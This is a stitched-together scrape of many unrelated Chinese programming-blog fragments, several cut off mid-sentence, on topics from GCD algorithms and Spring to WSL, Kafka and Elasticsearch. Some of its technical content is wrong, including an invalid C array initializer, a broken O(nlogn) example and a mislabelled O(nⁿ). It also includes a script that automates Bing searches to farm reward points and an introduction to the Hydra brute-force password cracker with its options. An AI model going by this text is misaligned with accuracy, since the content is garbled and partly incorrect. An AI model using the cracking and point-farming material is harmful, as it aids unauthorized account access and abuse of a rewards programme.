右键Anaconda Prompt (anaconda3)打开属性,找到目标中的内容
%windir%\System32\cmd.exe "/K" C:\anaconda3\Scripts\activate.bat C:\anaconda3 拷贝出 “/K” 后面的字符串,编写如下的bat文件。直接执行即可。
CALL C:\anaconda3\Scripts\activate.bat C:\anaconda3 python new_folder.py python change_date.py
一、枚举寻找法 1.简要阐述 这个方法相对容易理解,并且方便记忆,但效率较低,因为毕竟这是暴力枚举。逻辑其实就是两个数字找出其中的较小数,从这个数依次减一,在两个数字同时整除一个数的时候,将其输出,这便是二者的最大公约数。
2.相关代码 为方便得到结果,不妨直接取84和32。
#include <stdio.h> int main(void) { int a=84,b=32; int i; for(i=32;i>=1;i--) { if(a%i==0&&b%i==0) { printf("%d",i); break; } } return 0; } 二、辗转相除法 1.推导过程 需求a,b两数的最大公因数,假设a大于b,因此便设a=b*m+r (r<b),m为a除以b所得商,r为对应余数,我们希望存在一个等式,使等式两边的数字呈整数倍的关系,因此希望找到一种迭代的方式来求解,这其实就是辗转相除法的主要核心方法,所以证明过程也要向这个方向上靠近。
不妨令a与b的最大公因数为c,然后用p,q两整数表示出a和b,即a=p*c,b=q*c,然后将这两个关系式代入a=b*m+r,得p*c=q*m*c+r,移项得r=(p-qm)*c,观察比较二式b=q*c和r=(p-qm)*c可知,b和r的最大公约数C是大于等于c的,由式子a=b*m+r可知,a也有一个因数是C,已知a与b的最大公因数为c,因此c大于等于C,与“b和r的最大公约数C是大于等于c的”条件结合可得,c等于C,所以证明出了a,b与b,r的最大公因数是一样的。
接下来其实就是辗转相除法的运用的理解,就是用除数代替被除数,余数代替除数,以此为迭代公式进行运算,直至运算后余数为0,此时的除数就是要求的最大公因数。
我们可以用一个流程图更为直观的看出迭代过程。
原来找到了一个不太正确的图更能说明辗转相除法的优势,就是不用像第一个方法去找哪个数小,在迭代过程中这一步可以自然地去实现。 2.相关代码 #include <stdio.h> int main(void) { int a,b,r; scanf("%d%d",&a,&b); r=a%b; while(r!=0) { r = a%b; a = b; b = r; } printf("%d\n",a); return 0; } 因为一开始写这个代码就是根据之前推导过程写的,因此一开始我直接输出的是b,所以想再简单说明一下,while循环结束的标志是r变为0,但结束的前一个循环运算已经是a,b可以整除了,即r=0,该次循环中将b,即最大公约数的值赋给了a,r的0值赋给了下一个状态下的b,但我们其实要的应该是a,将其输出就可以了。
📢欢迎点赞 :👍 收藏 ⭐留言 📝 如有错误敬请指正,赐人玫瑰,手留余香!
📢本文作者:由webmote 原创
📢作者格言:新的征程,我们面对的不是技术而是人心,人心不可测,海水不可量,唯有技术,才是深沉黑夜中的一座闪烁的灯塔 !
1. 搜索有奖 去年的时候,某天,加入了Microsoft Rewards计划,这是个免费计划,可奖励你每天执行的操作以及分配给你的简单任务,你需要做的事情,大概就是点点点了。
计划的积分获取,一般来自在 Bing.com 上搜索,或者从 Microsoft Store 在线商店和 Windows 10/11 中购买商品、以及在 Xbox 上玩游戏时,可获得积分。
当然注意浏览 “奖励”页面,微软每天在其中添加新的赚取方式。
在bing网站上,会显示你的积分,如下:
点击积分图标,会显示需要完成的任务。当然,你看心情完成吧。
2.积分兑换 最直接的奖励就是:积分满9600,可以兑换50元京东卡。
3. 挣积分 积分的获取有下列免费的途径,按照这个列表,看来我速度慢了。
4.hack手段 有人写了脚本,不知道效果如何。
import webbrowser import time url = "https://www.bing.com/search?q=" ch = 'A' # 100 pts for i in range(0, 20): webbrowser.open(url+ch, new=0) # webbrowser.open(url+ch+ch, new=0) | uncomment for days # time.sleep(1.5) | with double points ch = chr(ord(ch) + 1) time.
1.数组 什么是数组 数组是一种数据结构,用来存储多个相同类型的数据,数组中元素是有序,通过下标来进行访问,数组元素中具有相同数据类型,可以由不同的下标和统一数组名来确定数组的唯一元素。
数组怎么用 一般数组形式为:dataType arrayName[length];
其中datatype是数据类型比如,int、float这些数据类型
arrayname则是数组的名称
length是数组的长度
比如int abc[4]就是定义了一个数组名为abc,长度为4的整形数组
也可以给数组赋值例如abc[0] = 123,就是给abc中第一个元素赋值为123
也可以同时给数组内所有元素赋值int abc[2] = {0,1,2}
如果数组的元素个数少于数组长度会自动赋值和初始化。
1.读取数组 abc = [1,2,3,4,5]
读取元素
abc = [1,2,3,4] print(abc[3]) 更新元素
abc = [1,2,3,4] abc[3] = 120 print(abc[3]) 2.插入元素 尾部插入
abc = [1,2,3,4] abc.append(150) print(abc) 中间插入
abc = [1,2,3,4] abc.insert(2,120) print(abc) 超范围插入
当数组超过插入范围时,这时候如果继续往数组内插入元素,会出现数组越界,为了能让数组在超过范围内进行插入就叫做超范围插入,但在python中这样不会出现数组异常,因为python会将超范围的数组在尾部进行插入
当只有4个元素,向其中插入第五个元素
当只有4个元素,向其中第99插入第五个元素
abc= [1,2,3,4] abc.insert(100,120) print(abc) 删除元素
abc= [1,2,3,4] abc.remove(4) print(abc) 数组的优点和缺点 优点缺点1.按照索引查询速度快,可以实现随机访问根据内容查找元素速度慢,需要遍历整个数组2.能够储存大量数据,占用空间小数组大小无法改变,会造成空间浪费3.可以根据索引快速遍历引用,可以用循环语句数组只能存储一种类型的数据,无法去适应各种类型数据的存储需求4.数组定义简单,访问方便增加和删除元素效率低,需要移动很多数据 2.链表 什么是链表 链表是一种数据结构,它由一系列的结点组成,每个结点包含一个数据域和一个指针域。数据域存储数据元素,指针域存储下一个结点的地址。链表的优点是可以动态地增加或删除结点,不需要连续的内存空间。链表的缺点是访问数据时需要从头结点开始遍历,效率较低
链表怎么用 下面以这四种为内容,分别简要介绍
文章目录 (1).static修饰局部变量(2).static修饰全局变量(3).static修饰函数 在C语言中,关键字static通常用来修饰变量和函数 1. 修饰局部变量-称为静态局部变量
2. 修饰全局变量-称为静态全局变量
3. 修饰函数-称为静态函数 (1).static修饰局部变量 下面我们通过两段代码来理解static修饰局部变量的意义。
//代码1 #include <stdio.h> void test() { int i = 0; i++; printf("%d ", i); } int main() { int i = 0; for (i = 0; i < 10; i++) { test(); } return 0; } //代码2 #include <stdio.h> void test() { //static修饰局部变量 static int i = 0; i++; printf("%d ", i); } int main() { int i = 0; for (i = 0; i < 10; i++) { test(); } return 0; } 大家可以自己先思考一下答案,这两段代码有什么不同的地方,输出结果分别是什么,会有什么不一样?
google 在Platform-Tools删除了Systrace 工具,推荐使用
但是我想要使用Systrace 工具 直接上链接 https://dl.google.com/android/repository/platform-tools_r31.0.3-windows.zip
Python算法笔记(1)-时间复杂度
1.时间复杂度 时间复杂度是一个描述算法的运行时间的一个函数,它描述了算法的运行时间和输入数据的规模之间的关系,时间复杂度的表示方法用O表示,时间复杂度也用来考察输入值无限趋近无穷时的情况。
一:常量阶 O(1) 当执行次数为n时表示常量阶
def person(n): print("有%d个人" % n) if __name__ == '__main__': person(3) 二:对数阶 O(logn) 当执行5logn次数是对数计算时
def person(n): while n>1: print("有%d个人" % n) print("他们都走了") n /= 2 if __name__ == '__main__': person(10) 三:线性阶 O(n) 3n次计算时是线性
def person(n): for i in range(n): print("有%d个人" % n) print("他们都走了") if __name__ == '__main__': person(2) 四:线性对数阶 O(nlogn) def person(n): while n > 1: print("有%d个人" % n) print("他们都走了") n*(n/2) if __name__ == '__main__': person(2) 五:n方阶 O(nⁿ) def person(n): for i in range(1,n): print("
文章目录 一. Spring框架概述1. 什么是Spring框架2. 为什么要学习框架?3. Spring框架学习的难点 二. Spring核心设计思想1. 容器是什么?2. IoC是什么?3. Spring是IoC容器4. DI(依赖注入)5. DL(依赖查找) 一. Spring框架概述 1. 什么是Spring框架 我们通常所说的 Spring 指的是 Spring Framework(Spring 框架),它是⼀个开源框架,有着活跃而庞大的社区,这就是它之所以能长久不衰的原因;Spring 支持广泛的应用场景,它可以让 Java 企业级的应用程序开发起来更简单。
用⼀句话概括 Spring:Spring 框架是包含了众多工具方法的 IoC 容器。
2. 为什么要学习框架? 因为学习框架相当于从“小作坊”到“工厂”的升级,小作坊什么都要自己做,工厂是组件式装配,特点就是高效。
框架更加易⽤、简单且高效。
Servlet有以下痛点:
添加外部 jar 不⽅便,容易出错,比如添加了⼀个不匹配的外部 jar 版本。运行和调试的时候需要配置 Tomcat 不⽅便。发布不方便,Servlet 项目必须依靠外置的 Tomcat(外置的 Web 容器)运行。路由配置不方便,⼀个访问地址对应⼀个 Servlet 类。… 而 Spring Boot 相比于 Servlet 具备以下优点:
快速添加外部 jar 包。调试项目更方便,无需配置 Tomcat,点击“运行”按钮就可以直接运行项目,因为 Spring Boot 内置了 Tomcat 容器可直接运行,但是 Servlet 需外挂 Tomcat。发布项目更加方便,无需配置 Tomcat,使用 java -jar 方式就可以发布。对象自动装配。添加路由更加方便,无需每个访问地址都添加⼀个类。… 3.
BG-废话不多说,直接上干货
一、安装WSL
(一)手动安装
1、启用适用于 Linux 的 Windows 子系统
以管理员身份打开 PowerShell(“开始”菜单 >“PowerShell” >单击右键 >“以管理员身份运行”),然后输入以下命令: dism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart 2、检查运行 WSL 2 的要求(直接跳过此步骤亦可)
对于 x64 系统:版本 1903 或更高版本,内部版本为 18362.1049 或更高版本。对于 ARM64 系统:版本 2004 或更高版本,内部版本为 19041 或更高版本。或 Windows 11。 3、启用虚拟机功能
安装 WSL 2 之前,必须启用“虚拟机平台”可选功能。 计算机需要虚拟化功能才能使用此功能。
以管理员身份打开 PowerShell 并运行: dism.exe /online /enable-feature /featurename:VirtualMachinePlatform /all /norestart 重新启动计算机,以完成 WSL 安装并更新到 WSL 2。 4、下载 Linux 内核更新包
(1)下载最新包:
适用于 x64 计算机的 WSL2 Linux
内核更新包使用的是 ARM64 计算机,请下载 ARM64
(1)首先将虚拟机关闭,然后选中虚拟机,点击【编辑虚拟机设置】
(2)然后选中磁盘,点击【扩展】
(3)比如扩展到50G,点击【扩展】
(4)出现如下提示,然后点击【确定】
(5)点击【确定】
(6)然后启动虚拟机
(7)登录虚拟机后使用如下命令查看磁盘
fdisk -l 结果如下:
(8)通过如下命令查看根目录
df -h 执行结果如下,即此时新增的20G尚未挂载到根目录下
(9)然后参照如下命令创建分区,具体输入在如下的注释中详细说明然后参照如下命令创建分区,具体输入在如下的注释中详细说明
[root@centos7-1 ~]# fdisk /dev/sda 欢迎使用 fdisk (util-linux 2.23.2)。 更改将停留在内存中,直到您决定将更改写入磁盘。 使用写入命令前请三思。 命令(输入 m 获取帮助):m # 输入m查看帮助命令 命令操作 a toggle a bootable flag b edit bsd disklabel c toggle the dos compatibility flag d delete a partition g create a new empty GPT partition table G create an IRIX (SGI) partition table l list known partition types m print this menu n add a new partition o create a new empty DOS partition table p print the partition table q quit without saving changes s create a new empty Sun disklabel t change a partition s system id u change display/entry units v verify the partition table w write table to disk and exit x extra functionality (experts only) 命令(输入 m 获取帮助):n # 输入n创建新的分区 Partition type: p primary (3 primary, 0 extended, 1 free) e extended Select (default e): p # 输入p,即primary类型 已选择分区 4 # 这里因为只有一个primary类型了,因此此处不需要选择,直接使用默认的4了 起始 扇区 (62914560-104857599,默认为 62914560): # 输入回车,保持默认即可 将使用默认值 62914560 Last 扇区, +扇区 or +size{K,M,G} (62914560-104857599,默认为 104857599): # 输入回车,保持默认即可 将使用默认值 104857599 分区 4 已设置为 Linux 类型,大小设为 20 GiB 命令(输入 m 获取帮助):w # 输入w,保存并退出 The partition table has been altered!
本章将介绍:ElasticSearch的作用,搭建elasticsearch的环境(Windows/Linux),ElasticSearch集群的搭建,可视化客户端插件elasticsearch-head的安装及使用,对IK分词器的安装及使用;本章介绍的ElasticSearch操作基于Restful形式(使用http请求的形式)
笔记记录
1.ElasticSearch简介 Elaticsearch,简称为es, es是一个开源的高扩展的分布式全文检索引擎,它可以近乎实时的存储、检索数据;本
身扩展性很好,可以扩展到上百台服务器,处理PB级别的数据。es也使用Java开发并使用Lucene作为其核心来实
现所有索引和搜索的功能,但是它的目的是通过简单的RESTful API来隐藏Lucene的复杂性,从而让全文搜索变得
简单。
1.1ElasticSearch的使用案例 2013年初,GitHub抛弃了Solr,采取ElasticSearch 来做PB级的搜索。 “GitHub使用ElasticSearch搜索20TB
的数据,包括13亿文件和1300亿行代码”维基百科:启动以elasticsearch为基础的核心搜索架构SoundCloud:“SoundCloud使用ElasticSearch为1.8亿用户提供即时而精准的音乐搜索服务”百度:百度目前广泛使用ElasticSearch作为文本数据分析,采集百度所有服务器上的各类指标数据及用户自定义数据,通过对各种数据进行多维分析展示,辅助定位分析实例异常或业务层面异常。目前覆盖百度内部20多个业务线(包括casio、云分析、网盟、预测、文库、直达号、钱包、风控等),单集群最大100台机器,200个ES节点,每天导入30TB+数据新浪使用ES 分析处理32亿条实时日志阿里使用ES 构建挖财自己的日志采集和分析体系 1.2 ElasticSearch与solr的对比 Solr 利用 Zookeeper 进行分布式管理,而 Elasticsearch 自身带有分布式协调管理功能;Solr 支持更多格式的数据,而 Elasticsearch 仅支持json文件格式;Solr 官方提供的功能更多,而 Elasticsearch 本身更注重于核心功能,高级功能多有第三方插件提供;Solr 在传统的搜索应用中表现好于 Elasticsearch,但在处理实时搜索应用时效率明显低于 Elasticsearch 安装 ElasticSearch不做过多介绍
下面直接介绍ElasticSearch概念
3.ES相关概念 3.1 概述(重要) Elasticsearch是面向文档(document oriented)的,这意味着它可以存储整个对象或文档(document)。然而它不仅
仅是存储,还会索引(index)每个文档的内容使之可以被搜索。在Elasticsearch中,你可以对文档(而非成行成列的数据)进行索引、搜索、排序、过滤。Elasticsearch比传统关系型数据库如下:
Relational DB ‐> Databases ‐> Tables ‐> Rows ‐> Columns
Elasticsearch ‐> Indices ‐> Types ‐> Documents ‐> Fields
3.2 核心概念 1)index索引- 一个索引就是一个拥有几分相似特征的文档的集合。比如说,你可以有一个客户数据的索引,另一个产品目录的索引,还有一个订单数据的索引。一个索引由一个名字来标识(必须全部是小写字母的),并且当我们要对对应于这个索引中的文档进行索引、搜索、更新和删除的时候,都要使用到这个名字。在一个集群中,可以定义任意多的索引。可类比mysql中的数据库
2)type类型 在一个索引中,你可以定义一种或多种类型。一个类型是你的索引的一个逻辑上的分类/分区,其语义完全由你来定。通常,会为具有一组共同字段的文档定义一个类型。比如说,我们假设你运营一个博客平台并且将你所有的数据存储到一个索引中。在这个索引中,你可以为用户数据定义一个类型,为博客数据定义另一个类型,当然,也可以为评论数据定义另一个类型。 可类比mysql中的表
3)Filed字段 相当于是数据表的字段,对文档数据根据不同属性进行的分类标识 。
hydra与hydra-graphical 1.介绍 Hydra是一款非常强大的暴力破解工具,它是由著名的黑客组织THC开发的一款开源暴力破解工具。Hydra是一个验证性质的工具,主要目的是:展示安全研究人员从远程获取一个系统认证权限
支持以下协议爆破:
AFP,Cisco AAA,Cisco身份验证,Cisco启用,CVS,Firebird,FTP,HTTP-FORM-GET,HTTP-FORM-POST,HTTP-GET,HTTP-HEAD,HTTP-PROXY,HTTPS-FORM- GET,HTTPS-FORM-POST,HTTPS-GET,HTTPS-HEAD,HTTP-Proxy,ICQ,IMAP,IRC,LDAP,MS-SQL,MYSQL,NCP,NNTP,Oracle Listener,Oracle SID,Oracle,PC-Anywhere, PCNFS,POP3,POSTGRES,RDP,Rexec,Rlogin,Rsh,SAP / R3,SIP,SMB,SMTP,SMTP枚举,SNMP,SOCKS5,SSH(v1和v2),Subversion,Teamspeak(TS2),Telnet,VMware-Auth ,VNC和XMPP。
对于 HTTP,POP3,IMAP和SMTP,支持几种登录机制,如普通和MD5摘要等。
可用于暴力破解各种类型的账户密码
2.使用方法 语法:hydra 参数 IP 服务 参数: -l login 小写,指定用户名进行破解 -L file 大写,指定用户的用户名字典 -p pass 小写,用于指定密码破解,很少使用,一般采用密码字典。 -P file 大写,用于指定密码字典。 -e ns 额外的选项,n:空密码试探,s:使用指定账户和密码试探 -M file 指定目标ip列表文件,批量破解。 -o file 指定结果输出文件 -f 找到第一对登录名或者密码的时候中止破解。 -t tasks 同时运行的线程数,默认是16 -w time 设置最大超时时间,单位 -v / -V 显示详细过程 -R 恢复爆破(如果破解中断了,下次执行 hydra -R /path/to/hydra.restore 就可以继续任务。) -x 自定义密码。 service:指定服务名,支持的服务跟协议有:telnet,ftp,pop3等等。 注意: 1.自己创建字典,然后放在当前的目录下或者指定目录。 2.参数可以统一放在最后,格式比如hydra ip 服务 参数。 3.
1.shell变量替换 **
${变量#匹配规则} 从头开始匹配,最短删除
${变量##匹配规则} 从头开始匹配,最长删除
${变量%匹配规则} 从尾开始匹配,最短删除
${变量%%匹配规则} 从尾开始匹配,最长删除
${变量/旧字符串/新字符串} 替换字符串,仅替换第一个
${变量//旧字符串/新字符串} 替换字符串,替换全部
例1:从前往后删变量内容
Qh_url=mirrors.tuna.tsinghua.edu.cn
echo $Qh_url
echo ${Qh_url#*.} #删除.分隔的第一个字段
echo ${Qh_url##*.} #仅保留最后一个字段
例2:从后往前删变量内容
Qh_url=mirrors.tuna.tsinghua.edu.cn
echo $Qh_url
echo ${Qh_url%.*} #删除最后一个字段
echo ${Qh_url%%.*} #仅保留第一个字段
例3:变量内容替换
Qh_url=mirrors.tuna.tsinghua.edu.cn
echo $Qh_url
echo ${Qh_url/u/U}
echo ${Qh_url//u/U}
脚本题:
1、把/data下所有.txt文件,改名.bak,并tar包备份到/backup,最后解压还原文件名
mkdir /data touch /data/file{1..9}.txt vim rename.sh
#!/bin/bash
File_txt=$(find /data -type f -iname "*.txt" |xargs > /data/txt.f)
for a in $(cat /data/txt.f)
do
mv $a $a.bak
windows环境设置mysql自动备份(测试成功)
要实现数据库的自动备份就需要一下两步:
#一、利用MySQL提供的备份命令mysqldump ,结合Windows的任务计划程序
实现步骤
编写脚本
说明:该脚本不会关闭数据库,并且可以按每一天的时间来命名备份文件。
新建一个数据库备份文件的存放目录,如:C:\mysql_backup
注意:目录地址中不要带空格!
新建一个批处理文件,如:mysql_backup_tool.bat,文件内容如下:
rem ******MySQL backup start****** @echo off ::删除一周前的备份数据 forfiles /p "c:\mysql_backup" /m backup_*.sql -d -7 /c "cmd /c del /f @path" ::设置时间变量 set "Ymd=%date:~0,4%%date:~5,2%%date:~8,2%%time:~0,2%%time:~3,2%%time:~6,2%" ::进入mysql安装目录的bin目录下 cd C:\Program Files\MySQL\MySQL Server 5.7\bin\ ::执行备份操作 mysqldump --opt --single-transaction=TRUE --user=root --password=123456 --host=127.0.0.1 --protocol=tcp --port=3306 --default-character-set=utf8 --single-transaction=TRUE --routines --events "testdba" > c:\mysql_backup\backup_%Ymd%.sql @echo on rem ******MySQL backup end****** forfiles 为删除过期文件的命令,-d -7 删除7天的文件;
关于时间参数的参考:
%date:~0,10% //提取年月日信息
%date:~-3% //提取星期几信息
Vue3中,实现IP电话功能,要求在所有页面均可接收到来电,并进行通话——子组件和父组件共用一个组件
1. 需求是这样的 在项目中,有一个页面(communication.vue)用来提供IP电话通话功能,该页面显示通讯录,用户可以在通讯录中选择用户进行拨打电话,要求对方只要在登录成功的状态下,不论在首页还是哪个页面均可以接收到来电,并进行通话。
初始做法 建了一个sip.vue,用来设计音频和视频dom,以及用到的计时器;建了一个sip.ts,用来做与sip.js承接的方法和来电提示框(用的ant-design的notification);在sip.vue中,引入sip.ts,进行操作;直接在通讯录页面communication.vue中使用sip.vue; 初始结果 由于一开始对需求没有研究透,就开始着手做,所以最后的结果是,只有用户双方均在communication.vue界面时,才能接收到来电。
结果是,与需求不符,调整!!!
重新分析需求,规划设计 逐步分析 用户登录后,进行IP电话的链接;这就需要登录成功后就要获取到sip.vue,并调用里面的connect()方法。无论在哪个页面,均能接收到来电提醒;这就需要在所有页面均保持与sip的websocket连接。接收到来电后,进行接通,显示语音视频框;这就需要在所有页面均可以使用sip.vue,展示其中的dom。 规划 根据分析第一步可知,要在登录成功,获取到相关参数后才可以进行连接,所以需要确定所需参数获取结束的时机根据分析第二步可知,需要在最外层组件layout.vue中进行操作,如此不管在哪个routeview下,如何刷新,都可以进行新的连接,保证websocket时时保持连接状态。根据分析第三步可知,需要把sip.vue引到layout.vue中来,如此在最外层,可以保证所有routeview下均可以使用sip.vue的相关内容。 重新实现 基于已经实现的逻辑,不需要大改,只需要进行适当调整即可。
将sip.vue引入到layout.vue中给SIP组件标记一个名字,ref=‘sipRef’,以便layout的子组件进行调用在layout.vue中,写一个方法,用来获取SIP组件 const sipRef = ref<ElRef>(); const getSipRef = ()=>{ return sipRef.value } 通过provide和inject方法进行组件间通信,在layout.vue中将getSipRef()方法吐出去 import { defineComponent, computed, unref, ref, onMounted, provide } from 'vue'; //在script头部引入provide provide('sipRef',getSipRef) 在layout.vue中,onMounted期间,进行sip连接 onMounted(()=>{ setTimeout(()=>{ (sipRef.value as any)?.connect() },300) }); // 300ms后执行,是保守做法 在communication.vue中通过inject引入getSipRef()方法 const getSipRef = inject('sipRef') //生命sipRef,在挂载时赋值 const sipRef = ref<ElRef>(); 在communication.vue中,onMounted期间,进行sipRef赋值,在该routeview中就可以使用sip.vue中所有的内容了 (async function connect(){ await nextTick(); sipRef.value = getSipRef() })() 结束 通过上面9步调整,在communication.
1.kafka安装配置 Kafka对于zookeeper是强依赖,保存kafka相关的节点数据,所以安装Kafka之前必须先安装zookeeper
Docker安装zookeeper 下载镜像:
docker pull zookeeper:3.4.14 创建容器
docker run -d --name zookeeper -p 2181:2181 zookeeper:3.4.14 Docker安装kafka 下载镜像:
docker pull wurstmeister/kafka:2.12-2.3.1 创建容器
docker run -d --name kafka \ --env KAFKA_ADVERTISED_HOST_NAME=192.168.200.130 \ --env KAFKA_ZOOKEEPER_CONNECT=192.168.200.130:2181 \ --env KAFKA_ADVERTISED_LISTENERS=PLAINTEXT://192.168.200.130:9092 \ --env KAFKA_LISTENERS=PLAINTEXT://0.0.0.0:9092 \ --env KAFKA_HEAP_OPTS="-Xmx256M -Xms256M" \ --net=host wurstmeister/kafka:2.12-2.3.1 生产者发送消息,多个消费者只能有一个消费者接收到消息生产者发送消息,多个消费者都可以接收到消息 2.代码使用 (1)创建kafka-demo项目,导入依赖
<dependency> <groupId>org.apache.kafka</groupId> <artifactId>kafka-clients</artifactId> </dependency> (2)生产者发送消息
package com.heima.kafka.sample; import org.apache.kafka.clients.producer.KafkaProducer; import org.apache.kafka.clients.producer.ProducerConfig; import org.apache.kafka.clients.producer.ProducerRecord; import java.util.Properties; /** * 生产者 */ public class ProducerQuickStart { public static void main(String[] args) { //1.
1、为什么会出现计算精度丢失的问题? JavaScript中存在小数点精度丢失的问题是由于其使用的浮点数表示方式。JavaScript采用的是双精度浮点数表示法,也称为IEEE 754标准,它使用64位来表示一个数字,其中52位用于表示有效数字,而其他位用于表示符号、指数和特殊情况。
由于使用有限的位数来表示无限的小数,JavaScript无法准确地表示某些小数。其中一个典型的示例是0.1,它在二进制中是一个无限循环的小数。当我们将0.1这样的小数转换为二进制进行存储时,存在近似表示的误差,因此在进行计算时会出现精度丢失的问题。
例如,执行以下计算:
0.1 + 0.2 预期的结果应该是0.3,但在JavaScript中实际得到的结果是0.30000000000000004。这是因为0.1和0.2无法以精确的二进制形式表示,导致小数点精度丢失。
这种精度丢失是浮点数表示法的固有特性,并不仅限于JavaScript,其他编程语言也可能面临类似的问题。因此,在进行精确计算时,特别是涉及到货币、金融等方面的计算,应使用其它精确计算的方法,例如使用整数进行运算或使用专门的精确计算库。
总而言之,小数点精度丢失的问题是由于JavaScript使用的浮点数表示法的特性所致,需要在开发中注意,并考虑使用其他方法或工具来解决精度问题。
2、代码示例 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> <script> var floatObj = function () { // 判断传入的值-是否为整数 function isInteger(obj) { return Math.floor(obj) === obj } // 将一个浮点数转成整数,返回整数和倍数。如 3.14 >> 314,倍数是 100 // @param floatNum { number } 小数 // @return { object } // { times: 100, num: 314 } // 用于返回整数和倍数 function toInteger(floatNum) { // 声明一个对象用来保存倍数和整数 var ret = { times: 1, num: 0 } // 第一种情况:是整数 if (isInteger(floatNum)) { // 把整数给 ret中的 num ret.
GoLand是一款由JetBrains开发的集成开发环境(IDE),专门用于Go编程语言的开发。它提供了一系列功能和工具,以提高开发人员的效率和代码质量。
GoLand作为一款专门针对Go语言开发的IDE,具有以下一些特点:
智能代码完成:GoLand提供智能代码完成功能,可以根据上下文和代码语义提示合适的代码补全选项,提高编码效率。
强大的静态代码分析:GoLand内置了强大的静态代码分析工具,可以帮助开发人员发现潜在的错误、代码质量问题和性能瓶颈。
代码导航和重构:GoLand提供了强大的代码导航和重构功能,可以快速定位和浏览代码,进行代码重构和优化。
内置调试器:GoLand内置了调试器,可以方便地进行代码调试和错误排查,提供断点设置、变量查看等调试功能。
版本控制集成:GoLand集成了常用的版本控制系统,如Git、SVN等,可以方便地进行代码版本管理和团队协作。
丰富的插件生态系统:GoLand支持丰富的插件,可以根据个人需求进行扩展和定制,提供更多功能和工具。
win版:https://soft.macxf.com/soft/2734.html?id=MzE5MTM%3D
mac版:https://mac.macsc.com/mac/3651.html?id=MzQ1ODE4
纯css3实现水波纹从中心向四周扩散动画
效果可用于pc端或移动端,引导用户点击,间接带来一定的转化率
示例效果
示例代码 <template> <div class="zanbtn-wrap"> <div @click="handleClick('https://pay.aikelaidev.cn/paypage/?merchant=35bdYxSx7dCUrVUBqFQjdqqlzhWryCA7lqOn9VhakWHC')" class="zanBtn">赞</div> </div> </template> <script> export default { name:'shuibowen', methods: { handleClick(openUrl) { window.open(openUrl, "_blank"); } } } </script> <style scoped> @keyframes zanBtnAnimation { 0% { box-shadow: 0px 0px 0px 0px rgba(0, 0, 0, 0), 0px 0px 0px 1px rgba(255, 37, 37, 0); } 10% { box-shadow: 0px 0px 0px 1px rgba(0, 0, 0, 0), 0px 0px 0px 2px rgba(255, 37, 37, 0.
什么是链路跟踪 Skywarking 链路跟踪(Link Tracing)是一种用于追踪分布式系统中请求路径和性能的技术。SkyWalking 是一个开源的 APM(Application Performance Monitoring)系统,它提供了链路跟踪功能。
SkyWalking 的链路跟踪通过在分布式系统中的不同组件中嵌入轻量级的代理,捕获和记录请求过程中所经过的每个组件。它通过唯一的跨请求标识符将这些组件连接起来,从而形成完整的请求链路。这样,开发人员可以准确地了解请求在系统中的流动路径,并对每个组件的性能进行分析和优化。
链路跟踪可以帮助开发人员快速定位系统中的性能问题和故障。通过分析链路跟踪数据,可以获取以下信息:
请求路径:可以清楚地看到请求从哪里开始,经过了哪些组件,最后到达了哪里。这对于复杂的分布式系统而言尤为重要。耗时分析:可以统计每个组件的处理时间,从而找出性能瓶颈所在。开发人员可以根据这些信息进行优化,提高系统的响应速度。异常定位:如果某个请求在链路中出现错误或异常,可以通过链路跟踪数据快速定位到具体的组件和代码,从而进行故障排查和修复。 SkyWalking 提供了丰富的链路跟踪功能,并支持多种编程语言和框架。它还提供了可视化界面,方便开发人员查看和分析链路跟踪数据。通过使用 SkyWalking,开发人员可以更好地理解和管理分布式系统的性能。
SqlServer数据库安装流程配置 链接:https://pan.baidu.com/s/1Mdjma2fb0DQow97bi6X_Ng
提取码:0706
1.首先我们可以进入SqlServer这个SqlServer官网进行下载。
2.下载好得安装包,双击打开进行安装。
3.等待其准备完成。
4.完成之后,点击这个自定义安装。
5.选择媒体位置,然后进行安装。
6.等待它下载好这个安卓包。
7.下载完成之后,就会直接进入到SQL Server的安装中心来。
8.选择安卓,并点击第一个全新 SQL Server。
9.这里我们就默认指定的版本,选择下一步。
10.熟悉的许可条款,你不接受使用不了,使用咱勾选我接受,并点击下一步。
11.有些中间还会有个产品更新啥的,可以选择略过,然后来到安装规则,等待其检测完成,选择下一步。
12.这里我们就需要取消勾选这个适用于SQL Server的Azure,不取消勾选,你就要填写这些信息,不然无法进行下一步,所以我们取消勾选,然后下一步。
13.然后我们需要再实例功能这里勾选自己需要用的功能,如下是我选择的部分功能,可根据个人需要进行勾选,一般选择全选功能,下面是目录,一般不用进行更改,然后完成之后点击下一步。
14.这里我们也是直接默认实例就行,点击下一步。
15.这里服务器配置也是默认即可,点击下一步。
16.在这里我们第一步首先再身份验证模式切换成 混合模式,然后输入密码,为了防止忘记,我的就设置成SqlServer,输入完密码之后,一定要记得添加当前用户,不然后续是无效的,添加完之后选择下一步。
17.查看一下配置文件路径,无误就开始安装。
18.等待其安装进度完成。
19.安装完成之后点击关闭。
20.到这里我们还需要安卓一个SQL Server Management 。
21.进入SSMS官网下载,点击免费下载。
22.下载完成之后,双击打开。
23.选择其安装的位置,然后点击安装。
24.然后等待其安装完成,大概需要5-10分钟左右。
25.完成之后点击关闭。
26.来到开始界面,找到它打开。
27.紧接着会弹出一个连接服务器的窗口,此服务器名称就是最开始我们添加到当前用户的服务器,然后点击连接。
28.连接完成之后就会显示以下这个界面,大家就可以尽情的发挥啦家人们。
希望能帮助到大家,加油你是最棒的!!!
此篇博客主题:LLAMA模型数据、训练时长、功耗及碳排放量
LLaMA: Open and Efficient Foundation Language Models
paper https://arxiv.org/pdf/2302.13971v1.pdf
1 训练样本 Overall, our entire training dataset contains roughly 1.4T tokens after tokenization. For most of our training data, each token is used only once during training, with the exception of the Wikipedia
and Books domains, over which we perform approximately two epochs.
模型训练样本来源及占比如下图,经数据清理去重后剩下1.4Ttokens数据 (1.4T=1.4e12)数据训练次数见Epochs ,大多数都只训练一轮,但book,wikipeida等数据会训练两轮左右(可能数据价值更高)
2 训练时间 When training a 65B-parameter model, our code processes around 380 tokens/sec/GPU on 2048 A100 GPU with 80GB of RAM.
2024年秋招汇总
Search public account“我是一介布衣”获取详细内容。 7月16日1、宁德时代2、京东方3、华富基金4、厦门亿联5、呦尔哈7月15日1、京东
题解 | #C++冒泡排序#
#include <iostream>using namespace std;int main() { int arr[6] = { 0 };
面试
如何面试才能成功呢?
题解 | #计算公司年销售额#
